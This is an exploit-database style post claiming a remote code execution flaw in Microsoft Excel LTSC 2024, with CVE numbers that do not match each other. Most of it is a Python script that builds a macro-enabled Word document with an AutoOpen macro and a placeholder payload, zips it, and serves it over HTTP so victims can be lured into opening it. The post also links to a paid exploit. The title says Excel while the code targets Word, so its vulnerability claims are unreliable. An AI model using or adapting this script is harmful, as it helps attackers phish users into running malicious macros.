Microsoft Excel LTSC 2024 Remote Code Execution

# Titles: Microsoft Excel LTSC 2024 - Remote Code Execution (RCE) # Author: nu11secur1ty # Date: 06/16/2025 # Vendor: Microsoft # Software: https://www.microsoft.com/en/microsoft-365/excel?market=af # Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-27751 # CVE-2025-47957 # Versions: Microsoft Office LTSC 2024 , Microsoft Office LTSC 2021, Microsoft 365 Apps for Enterprise ## Description: The attacker can trick any user into opening and executing their code by sending a malicious DOCX file via email or a streaming server. After the execution of the victim, his machine can be infected or even worse than ever; this could be the end of his Windows machine! WARNING: AMPOTATE THE MACROS OPTIONS FROM YOUR OFFICE 365!!! STATUS: HIGH-CRITICAL Vulnerability [+]Exploit: ``` #!/usr/bin/python # CVE-2025-47957 by nu11secur1ty import os import time import zipfile import threading import http.server import socket import socketserver import win32com.client def get_local_ip(): """Get the LAN IP address of the current machine.""" try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(("8.8.8.8", 80)) # External DNS, just for routing ip = s.getsockname()[0] s.close() return ip except: return "127.0.0.1" def create_docm_with_auto_macro(filename): script_dir = os.path.dirname(os.path.abspath(__file__)) full_path = os.path.join(script_dir, filename) word = win32com.client.Dispatch("Word.Application") word.Visible = False doc = word.Documents.Add() doc.Content.Text = "This document contains an auto-starting macro." vbproject = doc.VBProject vbcomponent = vbproject.VBComponents.Add(1) # Standard Module macro_code = ''' Sub AutoOpen() Call YOUR_PoC End Sub Sub YOUR_PoC() Dim Program As String Dim TaskID As Double On Error Resume Next Program = "YOUR_EXPLOIT_HERE" TaskID = YOUR_TASK_HERE If Err <> 0 Then MsgBox "Can't start " & Program End If End Sub ''' vbcomponent.CodeModule.AddFromString(macro_code) wdFormatXMLDocumentMacroEnabled = 13 doc.SaveAs(full_path, FileFormat=wdFormatXMLDocumentMacroEnabled) doc.Close() word.Quit() print(f"[+] Macro-enabled .docm saved at: {full_path}") return full_path def compress_to_zip(filepath): zip_path = filepath + '.zip' with zipfile.ZipFile(zip_path, 'w') as zipf: zipf.write(filepath, arcname=os.path.basename(filepath)) print(f"[+] Compressed to ZIP: {zip_path}") return zip_path def start_http_server(directory, port=8000): os.chdir(directory) handler = http.server.SimpleHTTPRequestHandler httpd = socketserver.TCPServer(("", port), handler) ip = get_local_ip() print(f"[+] HTTP server running at: http://{ip}:{port}/") thread = threading.Thread(target=httpd.serve_forever) thread.daemon = True thread.start() return httpd if __name__ == "__main__": filename = "CVE-2025-47957.docm" docm_path = create_docm_with_auto_macro(filename) zip_path = compress_to_zip(docm_path) server = start_http_server(os.path.dirname(docm_path)) try: print("[*] Server running — press Ctrl+C to stop...") while True: time.sleep(1) except KeyboardInterrupt: print("\n[!] Ctrl+C detected — shutting down server...") server.shutdown() print("[+] The Exploit Server stopped. Goodbye!") ``` # Reproduce: [href](https://www.youtube.com/watch?v=r4NsGrO56yo) # Buy an exploit only: [href](https://satoshidisk.com/pay/COeJqt) # Time spent: 01:37:00 -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ 0day Exploit DataBase https://0day.today/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/> -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstorm.news/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ 0day Exploit DataBase https://0day.today/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/>